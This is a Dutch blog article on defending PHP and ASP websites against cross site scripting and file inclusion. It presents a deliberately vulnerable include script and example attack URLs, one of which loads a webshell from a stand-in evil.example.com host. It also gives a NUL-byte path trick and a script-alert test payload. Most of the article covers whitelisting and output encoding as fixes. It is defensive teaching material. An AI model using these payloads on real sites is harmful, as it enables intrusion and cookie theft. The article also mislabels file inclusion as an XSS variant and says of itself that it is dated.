Cross Site Scripting, of XSS, beveiligingsproblemen tegengaan in websites

Een cross site scripting beveiligingsprobleem maakt het mogelijk om bepaalde, vaak kwalijke code uit te voeren in de browser-context van de bezoeker. Dat wil zeggen: als een scriptkiddie code in een website weet te verbergen, dan kan hij daarmee bijvoorbeeld het cookie van een onwetende bezoeker stelen. Cookies bevatten vaak inlog- en sessiegegevens (autorisaties).

Dit artikel geeft praktische tips over hoe je cross site scripting beveiligingsproblemen tegen kunnen gaan in websites en websitecode. Dus hoe we een website beveiligen tegen cross site scripting. Ik nodig je uit om opmerkingen, vragen en tips te plaatsen als reactie, onderaan dit artikel.

Let op

Deze post is opnieuw gepubliceerd, maar inmiddels wel wat verouderd. Doe zelf goed onderzoek naar technieken om cross site scripting in jouw website-code tegen te gaan!

Cross site scripting (XSS) beveiligingsproblemen in websites

In de loop der jaren zijn er vele nieuwe varianten XSS-technieken gevonden, die vanwege andere technieken weer sub-namen hebben gekregen. Bijvoorbeeld Local File Inclusion (LFI) of Remote File Inclusion (RFI).

Local File Inclusion en Remote File Inclusion

Is een webapplicatie kwetsbaar voor Local File Inclusion, LFI, dan is het onder andere mogelijk informatie uit lokale bestanden, zoals configuratiebestanden, weer te geven. Stel je voor wat een aanvaller te weten kan komen aan informatie, of zelfs wachtwoorden kan vinden!

Is de webapplicatie kwetsbaar voor Remote File Inclusion, RFI, dan kan een aanvaller een extern gehost script uitvoeren in de context waarmee de kwetsbare website draait.

Local en Remote File Inclusion voorbeeld

Stel je het volgende PHP-script voor:

<?php
  $color = 'blue';
  if (isset($_GET['COLOR']))
    $color = $_GET['COLOR'];
  include($color . '.php');
?>
<html><head><title>XSS, LFI, RFI voorbeeld</title></head>
<body>
  <form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
  </form>
</body></html>


we noemen het script kwetsbaar.php met een reden

De ontwikkelaar wil dat bezoekers alleen de kleuren rood en blauw kunnen laten weergeven via een HTML-formulier. Maar iedere gebruiker kan willekeurige waardes voor COLOR opgeven. Hierdoor is het mogelijk om code uit bestanden te injecteren, en hierin schuilt een groot gevaar!

  • /kwetsbaar.php?COLOR=http://evil.example.com/webshell.txt? – injecteert een extern gehost script die kwalijke code bevat (remote file inclusion kwetsbaarheid)
  • /kwetsbaar.php?COLOR=C:\ftp\upload\exploit – voert de code uit van een al eerder geüpload bestand genaamd exploit.php (local file inclusion kwetsbaarheid)
  • /kwetsbaar.php?COLOR=C:\notes.txt%00 – voorbeeld dat een NUL meta-karakter bevat, om het achtervoegsel .php te verwijderen. Hierdoor is toegang tot bestanden met een andere extensie ook mogelijk. In dit geval wordt de content van c:\notes.txt geprint.
Ook interessant voor jou:  Bruteforce-aanvallen tegengaan met een vertraging

Wat is de oorzaak van Cross Site Scripting (XSS)?

Waardoor worden deze XSS (LFI, RFI) beveiligingsproblemen veroorzaakt? De oorzaak ligt over het algemeen in:

  • slecht programmeerwerk
  • verkeerd, of foutief, gebruik van PHP includes
  • geen validatie op invoer van gebruikers, en
  • geen, verkeerd of foutief gebruik van variabelen declaraties.

Hoe gaan we Cross Site Scripting (XSS) tegen?

Het belangrijkste begin van een oplossing is dat je je webapplicatie kent. Overal waar een bezoeker informatie of bestanden kan meegeven in de URL (of informatie, als $_GET-, $_POST– of $_REQUEST-variabele), moet je bepalen of de bezoeker dat op die plek mag, en (zo ja) wàt hij precies mag. Overal waar een bezoeker informatie achter kan laten op de website.

Je kunt bestanden of informatie uitsluiten van opname. Men noemt dat een blacklist. Echter, de mogelijkheden zijn ontelbaar en daarom kun je het beste opgeven wat wél opgegeven mag worden (een whitelist genaamd).

We beveiligen bovenstaande PHP-code, door vooraf op te geven wat opgenomen mag worden. Dit plaatsen we in een array.

<?php
  $color = 'blue';
  $allowed = array('red','blue');
  if (isset($_GET['COLOR']) && in_array($_GET['COLOR'], $allowed))
  {
    $color = $_GET['COLOR'];
  }
     include($color . '.php');
?>

Vrij eenvoudig hebben we kwetsbaar.php nu wat meer beveiligd. De PHP-functie include() kunnen we verder dichttimmeren door bestanden die opgenomen mogen worden, in één specifieke folder te plaatsen. Die folder moet vooraf gedefinieerd worden:

<?php
  $color = 'blue';
  $allowed = array('red','blue');
  $includemap = './includes/colors/';
  if (isset($_GET['COLOR']) && in_array($_GET['COLOR'], $allowed))
  {
    $color = $_GET['COLOR'];
  }
    include($includemap . $color . '.php');
?>

Het PHP Register Globals tijdperk, waarmee je de variabele $includemap zou kunnen overschrijven is toch echt wel voorbij. Wel moet je nog steeds rekening houden met speciale meta-karakters, zoals het eerder genoemde NUL-karakter (%00).

Cross Site Scripting voorbeeld

Een voorbeeld van een Cross Site Scripting kwetsbaarheid is een kwetsbaarheid waarvoor alle grote webmailaanbieders kwetsbaar waren in november 2002. Lees er over hier: https://dl.packetstormsecurity.net/0211-exploits/XSS-Cookie-Advisory.txt.

Bij webmailaanbieders zoals Hotmail, Yahoo en Excite was het mogelijk het cookie van een ingelogde gebruiker te stelen, als deze een speciaal door de aanvallers gecreëerde link aanklikte. Destijds was dat vrij gemakkelijk met het voorbeeld “Click to see Britney nude!”.

Ook interessant voor jou:  Search Engine Optimization (SEO), deel 2: microformats

De aanval was mogelijk omdat bepaalde webservices in andere onderdelen van de webmailaanbieders niet afdoende beveiligd waren tegen Cross Site Scripting (XSS). Door het creëren van een link naar een andere pagina, met het XSS-beveiligingsprobleem, kon een Javascript pop-up geopend worden dat een door de aanvallers gemaakt script aanriep. Het enige wat die pagina hoefde te doen was de document.referer (HTTP REFERER) en document.cookie op te vangen.

Javascript injecteren

Vaak probeert een kwaadwillende om Javascript-code in allerlei formulieren op te slaan. Denk hierbij aan commentaar- or reactieformulieren op artikelen, maar ook forums, gastenboeken, zoekvelden, enz. Het injecteren van javascript-code dient verschillende doelen:

  • links plaatsen naar websites van de aanvaller om een betere Google ranking te scoren
  • bezoekers doorsturen naar andere websites, vaak websites met daarop kwalijke code of exploits
  • tonen van ongevraagde reclame

Voorbeeld: Om een pagina (URL) te kunnen bookmarken, laat een pagina vaak de ingevulde variabelen in het URL adres staan. In ons voorbeeld, een zoekmachine, ziet dat er als volgt uit:

http://test.zoekmachine.com/zoeken.php?q=XSS%20Vulnerability

Nu proberen we de volgende zoekopdracht uit:

<script type="text/javascript"> alert ('Dit is een XSS-kwetsbaarheid')</script>

door dit versturen naar het zoeken.php script, wordt het gecodeerd en het resultaat URL adres wordt:

http://test.zoekmachine.com/zoeken.php?q=%3Cscript%3Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%29%3C%2Fscript%3E

Als de invoer in zoeken.php niet goed gevalideerd en gefilterd wordt, dan verschijnt een Javascript pop-up venster met de waarschuwing “Dit is een XSS-kwetsbaarheid” zodra we de link bezoeken. Erg vervelend voor de bezoeker.

Hiernaast is het vaak mogelijk om Javascript op te nemen in ongefilterde HTML tags, zoals <P>, <IMG>, <SCRIPT> en zelfs <BODY>, als een reactieformulier hier ondersteuning voor biedt. Doordat reacties vaak in een database worden opgeslagen wordt de Javascript code voor iedere bezoeker uitgevoerd. En stel dat een onwetende bezoeker op dat moment ingelogd is als een gebruiker of beheerder van een CMS, dan kan een scriptkiddie daarmee beschikking krijgen over het cookie met autorisaties. De kwaadwillende krijgt daarmee beheerdersrechten op jouw website!

XSS tegengaan

Hoe gaan we cross site scripting (XSS) nou tegen?

Een relatief eenvoudige manier om XSS-kwetsbaarheden tegen te gaan, is door alle verzonden data en gegevens te coderen naar het HTML equivalent. De scripttaal PHP gebruikt hiervoor de functie htmlentities() en ASP (VBscript) gebruikt Server.HTMLEncode(). Of data hierbij verzonden wordt via een HTTP GET of POST maakt niet uit.

Ook interessant voor jou:  MySQL-database optimaliseren

Wederom moeten variabelen ook van te voren worden gedefinieerd!
Lees hier meer over het declareren van variabelen in PHP.

PHP

<?php
  $zoekopdracht = '';
  $zoekopdracht = htmlentities($_GET['q']);
  //of op één regel:
  // $zoekopdracht = isset($_GET['q']) ? htmlentities($_GET['q']) : '';
?>

ASP/VBScript

<%@ Language="VBScript" %>
<%
  Option Explicit
  Dim zoekopdracht
  If Request.Form("q") Then
    zoekopdracht = Server.HTMLEncode(Request.Form("q"))
  End If
%>

Mogelijke bronnen “kwaadaardige” data

Het XSS-probleem is van toepassing op elke pagina die gebruikersinvoer gebruikt voor het dynamisch genereren van HTML. Vooral de volgende bronnen zijn mogelijke aanvals-vectoren:

  • Query String
  • Cookies
  • Posted data
  • URL’s en delen van URL’s, zoals PATH_INFO
  • Data van gebruikers verkregen uit een database of tekstbestan

Tips tegen XSS

  • PHP: Gebruik liever geen include() als je ook readfile() kunt gebruiken.
  • Gebruik geen variabelen in include().
  • Behandel “data” als “data”, niet als “HTML”

Ik wil graag meer weten over (het tegengaan van) Cross Site Scripting (XSS) kwetsbaarheden!

Je vindt meer informatie over websitebeveiliging, cross site scripting en aanverwante zaken op:

Specifiek voor de programmmeertaal PHP zijn interessant:

Andere bronnen met informatie zijn

Conclusie XSS tegengaan

Het tegengaan van Cross Site Scripting (XSS) kwetsbaarheden is relatief eenvoudig. Zolang je er goed over nadenkt, bij voorkeur al van te voren bij de ontwikkeling.

Update 5-5-2014: Lees meer over een DOM based XSS in prettyPhoto – waarvoor Saotn.org ook kwetsbaar was – en hoe dat op te lossen is.

Onderstaande cross site scripting (XSS) informatie is initieel geschreven als een veelgestelde vragen-artikel voor Vevida.


MCSA Windows Server 2016

Bereid je met dit boek voor op je MCSA Windows Server 2016 examens 70-740, 70-741 en 70-743, nu via bol.com voor slechts € 69,99! Dit complete studieboek is het enige boek dat je nodig hebt voor jouw MCSA 2016 certificering.


Psst: Koop een Windows 10 Professional OEM licentie bij bol.com (en steun ITFAQ.nl), of doneer via paypal.me/jreilink.